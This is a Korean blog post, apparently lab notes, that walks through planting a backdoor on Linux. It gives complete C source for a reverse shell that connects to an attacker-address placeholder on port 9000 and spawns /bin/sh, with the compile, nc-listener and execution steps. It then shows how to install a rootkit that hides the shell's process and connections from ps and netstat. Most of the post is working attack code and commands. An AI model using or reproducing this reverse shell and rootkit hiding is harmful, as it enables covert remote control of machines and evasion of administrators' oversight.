backdoor-linux
카테고리: malware
backdoor - linux
-
정상 인증을 거치지 않고 시스템에 접근
-
local backdoor : 관리자의 권한을 취득
-
remote backdoor : 인증없이 접근
-
구성도
-
nc 실행하여 설치 되어있는지 확인
[root@localhost ~]# nc
-
공격대상에 백도어+ 쉘 소스코드생성
[root@localhost ~]# vim /root/reverse_shell.c #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <unistd.h> #include <errno.h> int main(int argc, char* argv[]) { struct sockaddr_in server_addr; int server_sock; int client_len; char buf[80]; char rbuf[80]; char *cmd[2] = {"/bin/sh",(char *)0}; server_sock = socket(AF_INET, SOCK_STREAM, 6); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr("공격자주소"); server_addr.sin_port = htons(atoi("9000")); client_len = sizeof(server_addr); connect(server_sock,(struct sockaddr *) &server_addr, client_len); dup2(server_sock, 0); dup2(server_sock, 1); dup2(server_sock, 2); execve("/bin/sh", cmd, 0); return 0; }
-
쉘 소스코드 컴파일
[root@localhost ~]# gcc -o reverse_shell reverse_shell.c [root@localhost ~]# ls reverse_shell
-
공격자] nc 실행
[root@localhost ~]# nc -l 9000
-
공격 대상] reverse_backdoor 실행
[root@localhost ~]# ./reverse_shell
-
공격자] 공격 대상 연결 확인
/sbin/ifconfig
공격자 에게 공격 대상과 연결 되면서 사용할 shell 이 제공됨 remote backdoor + shell
-
공격대상] backdoor check
-
프로세스 확인
[root@localhost ~]# ps -ef
의심되는 프로세스 확인
-
포트 확인
[root@localhost 바탕화면]# netstat -antup
PID 번호가 아까 의심했던 프로세스와 일치
-
-
공격대상] 실행된 프로세스를 노출시키지 않도록 은닉
-
관련 rootkit 복사
[root@localhost tools]# cp -r /data/tools/white_rootkit /root/white_rootkit [root@localhost tools]# ls -al /root/white_rootkit/
-
ps, netstat 파일 백업
[root@localhost tools]# which ps /bin/ps [root@localhost tools]# which netstat /bin/netstat [root@localhost tools]# cp -p /bin/ps /root/ps.bak [root@localhost tools]# cp -p /bin/netstat /root/netstat.bak [root@localhost tools]# which ls alias ls='ls --color=auto' /bin/ls [root@localhost tools]# cp -p /bin/ls /root/ls.bak
-
rootkit 디렉터리 출력시에 보이지 않도록 할 목록 파일
[root@localhost tools]# cd /root/white_rootkit [root@localhost white_rootkit]# touch /root/white_rootkit/.white_psfile [root@localhost white_rootkit]# touch /root/white_rootkit/.white_netfile
-
make : gcc 관련 내용을 정의 - makefile
[root@localhost white_rootkit]# ls
[root@localhost white_rootkit]# vim Makefile
-
make (default) : 컴파일
[root@localhost white_rootkit]# make
[root@localhost white_rootkit]# ls white_*
-
make install : Makefile 의 install 부분
[root@localhost white_rootkit]# make install
-
없애고 싶은 프로세스의 이름을 등록
ex) sh 들어간 프로세스는 보이지 않게 할것 [root@localhost white_rootkit]# netstat -antup | grep sh
[root@localhost white_rootkit]# vim /dev/white_root/.white_netfile
-
프로세스 확인
[root@localhost white_rootkit]# netstat -antup | grep sh
결과 없음 (은닉 성공)
-
PID로 은닉
[root@localhost white_rootkit]# vim /dev/white_root/.white_netfile
[root@localhost white_rootkit]# netstat -antup | grep sh
[root@localhost white_rootkit]# ps -ef | grep 4628
프로세스중이지만 은닉중인것을 확인
-
ps -ef 에서 은닉
[root@localhost white_rootkit]# vim /dev/white_root/.white_psfile
[root@localhost white_rootkit]# ps -ef | grep 5261
결과 없음 (은닉 성공)
-
원상복구
[root@localhost white_rootkit]# vim /root/white_rootkit/Makefile
[root@localhost white_rootkit]# make clean
[root@localhost white_rootkit]# make uninstall
-
댓글 남기기